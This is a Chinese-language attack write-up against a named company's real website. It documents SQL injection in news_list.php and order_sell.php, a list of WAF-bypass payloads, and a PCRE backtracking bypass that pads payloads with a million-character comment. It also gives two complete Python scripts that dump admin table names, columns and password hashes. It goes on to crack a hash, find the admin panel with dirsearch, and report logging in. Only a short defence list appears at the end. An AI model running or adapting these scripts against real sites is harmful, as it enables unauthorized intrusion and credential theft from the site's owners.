正则回溯绕过WAF实现SQL注入

目标站点:http://www.cqzszy.com.cn(重庆市再生资源(集团)有限公司)
注入点:POST /order_sell.php 参数 bs
绕过技术:正则回溯(PHP PCRE回溯限制)

信息收集

发现GET注入点

首先在 news_list.php 发现 GET 参数 cid 存在 SQL 注入:

1
http://www.cqzszy.com.cn/news_list.php?cid=11 and updatexml(1,concat(0x7e,user(),0x7e),1)

响应返回:

1
XPATH syntax error: '~qzy_cqzszy@localhost~'

成功获取数据库用户信息。

image-20260302151226510

WAF分析

通过测试推测 WAF 过滤规则:

Payload结果分析
select 1成功回显select 单独不被过滤
from 1报错回显from 单独不被过滤
select 1 from dual空白回显select...from 组合被过滤

结论:WAF 使用正则 select(.*)from 过滤,单独的 selectfrom 不被拦截,只有组合时才触发过滤。

GET注入的问题

尝试正则回溯绕过,构造超长 Payload:

1
2
URL length: 100224
Response: 414 Request-URI Too Large

问题:URL 长度超过服务器限制,无法使用 GET 请求。

寻找POST注入点

由于 GET 请求长度限制,需要寻找 POST 注入点。在网站功能页面发现:

1
2
3
4
5
POST /order_sell.php HTTP/1.1
Host: www.cqzszy.com.cn
Content-Type: application/x-www-form-urlencoded

p1=1&m1=0&t1=0&...&bs=1'&ac=sell

测试参数 bs 存在注入:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1772425757')' at line 1

image-20260302151304796

绕过思路探索

尝试的绕过方法

在发现正则回溯之前,尝试了多种绕过方式:

换行符打断正则

1
2
select%0a1%0afrom dual
select%0b1%0bfrom dual

注释打断正则

1
select/**/1/**/from/**/dual

内联注释

1
2
select/*!*/1/*!*/from/*!*/dual
select/*!50000*/1/*!50000*/from/*!50000*/dual

大小写混合

1
SeLeCt 1 FrOm dual

双写绕过

1
selselectect 1 frfromom dual

空字节截断

1
sel%00ect 1 fr%00om dual

预处理语句

1
set @a=concat('sel','ect 1 fr','om dual');prepare stmt from @a;execute stmt;

替代语句

1
2
show tables
handler table_name open

结果:以上方法全部失败,返回空白回显。

正则回溯原理

PHP PCRE 默认回溯限制为 100 万次。当正则 select(.*)from 匹配超长字符串时:

  1. .* 贪婪匹配到字符串末尾
  2. 回溯查找 from
  3. 回溯次数超过限制,preg_match 返回 false
  4. WAF 判断失效,放行请求

构造Payload

关键:用注释 /**/ 包裹垃圾字符

1
select/*{100万字符}*/column from/*{100万字符}*/table
  • MySQL 忽略注释,正常执行 SQL
  • WAF 正则匹配超时,绕过成功

注入过程

Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import re

url = "http://www.cqzszy.com.cn/order_sell.php"
junk = "a" * 1000000


def inject(payload_str):
payload = {
"Submit": "提交交易信息", "ac": "sell",
"bs": payload_str,
"c1": "1", "c2": "1", "c3": "1", "c4": "1", "c5": "1", "c6": "1", "c7": "1",
"lang": "cn", "m1": "0", "m2": "0", "m3": "0", "m4": "0", "m5": "0",
"p1": "test", "p2": "1", "p3": "1", "p4": "1", "p5": "1",
"t1": "0", "t2": "0", "t3": "0", "t4": "0", "t5": "0"
}
r = requests.post(url, data=payload, timeout=60)
m = re.search(r"'~(.*?)~'", r.text)
return m.group(1) if m else None


# 获取表名
print("=== 表名 ===")
for i in range(20):
sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/table_name from/*{junk}*/information_schema.tables where table_schema=database() limit {i},1),0x7e),1) and '1'='1"
result = inject(sql)
if result:
print(f"[{i}] {result}")
else:
break

# 获取 zszy_admin 列名
print("\n=== zszy_admin 列名 ===")
for i in range(10):
sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/column_name from/*{junk}*/information_schema.columns where table_schema=database() and table_name='zszy_admin' limit {i},1),0x7e),1) and '1'='1"
result = inject(sql)
if result:
print(f"[{i}] {result}")
else:
break

# 获取 zszy_admin 数据 - 分开获取
print("\n=== zszy_admin 数据 ===")
for i in range(3):
print(f"\n--- 第 {i + 1} 条记录 ---")

sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aid from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
print(f"aid: {inject(sql)}")

sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aname from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
print(f"aname: {inject(sql)}")

sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/apassword from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
print(f"apassword: {inject(sql)}")

数据注入失败

分段注入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re

url = "http://www.cqzszy.com.cn/order_sell.php"
junk = "a" * 1000000


def inject(payload_str):
payload = {
"Submit": "提交交易信息", "ac": "sell",
"bs": payload_str,
"c1": "1", "c2": "1", "c3": "1", "c4": "1", "c5": "1", "c6": "1", "c7": "1",
"lang": "cn", "m1": "0", "m2": "0", "m3": "0", "m4": "0", "m5": "0",
"p1": "test", "p2": "1", "p3": "1", "p4": "1", "p5": "1",
"t1": "0", "t2": "0", "t3": "0", "t4": "0", "t5": "0"
}
r = requests.post(url, data=payload, timeout=60)
m = re.search(r"'~(.*?)~'", r.text)
return m.group(1) if m else None


def get_password(offset):
sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/length(apassword) from/*{junk}*/zszy_admin limit {offset},1),0x7e),1) and '1'='1"
pwd_len = inject(sql)
if not pwd_len:
return None
print(f" 密码长度: {pwd_len}")

length = int(pwd_len)
password = ""
for i in range(0, length, 10):
sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/substr(apassword,{i + 1},10) from/*{junk}*/zszy_admin limit {offset},1),0x7e),1) and '1'='1"
part = inject(sql)
if part:
password += part
return password


print("=== zszy_admin 数据 ===")
for i in range(5):
sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aid from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
aid = inject(sql)

sql = f"1' and updatexml(1,concat(0x7e,(select/*{junk}*/aname from/*{junk}*/zszy_admin limit {i},1),0x7e),1) and '1'='1"
aname = inject(sql)

if not aid and not aname:
break

print(f"\n[{i}] aid: {aid}, aname: {aname}")
pwd = get_password(i)
if pwd:
print(f" 完整密码: {pwd}")

获取的数据

数据库表名:

序号表名
0zszy_admin
1zszy_ec_class
2zszy_ec_goods
3zszy_human
4zszy_info
5zszy_member
6zszy_order

管理员表列名:

序号列名
0aid
1aname
2apassword

管理员账号密码:

aidanameapassword (MD5)
1admin3b1c29af405bac431b8f5ae71345fdcasdav
2leobf7c2c3a34f5da034b14e89486f97f16avdav

密码解密与后台发现

MD5解密

使用在线工具解密:

  • admin: 3b1c29af405bac431b8f5ae71345fvdadca → 未解出
  • leo: bf7c2c3a34f5da034b14e89486f97fda1v6c****e

目录扫描

使用 dirsearch 扫描后台:

1
dirsearch -u http://www.cqzszy.com.cn -e php

发现后台登录页面:

1
[200] http://www.cqzszy.com.cn/admini/login.php

成功登录

访问 /admini/login.php,使用获取的凭证登录:

  • 用户名:leo
  • 密码:———

登录成功,进入后台管理系统。

image-20260302151432891

总结

攻击链

1
GET注入发现 → URL长度限制 → 寻找POST注入点 → 多种绕过尝试失败 → 正则回溯绕过 → 分段获取密码 → 密码解密 → 后台扫描 → 成功登录

关键技术点

  • GET转POST:GET请求URL长度限制,改用POST注入
  • 多种绕过尝试:换行符、注释、大小写、双写、预处理等均失败
  • 正则回溯绕过:利用 PHP PCRE 回溯限制(100万次),构造超长注释绕过 select(.*)from 正则
  • 注释包裹:垃圾字符必须用 /**/ 包裹,MySQL才能正常执行
  • 分段获取:使用 substr() 分段获取长字段,避免截断

防御建议

  1. 使用 preg_match 时设置回溯限制或使用非贪婪匹配
  2. 使用参数化查询(预处理语句)代替字符串拼接
  3. 敏感数据加密存储,密码使用强哈希(bcrypt、Argon2)
  4. 后台路径不要使用常见名称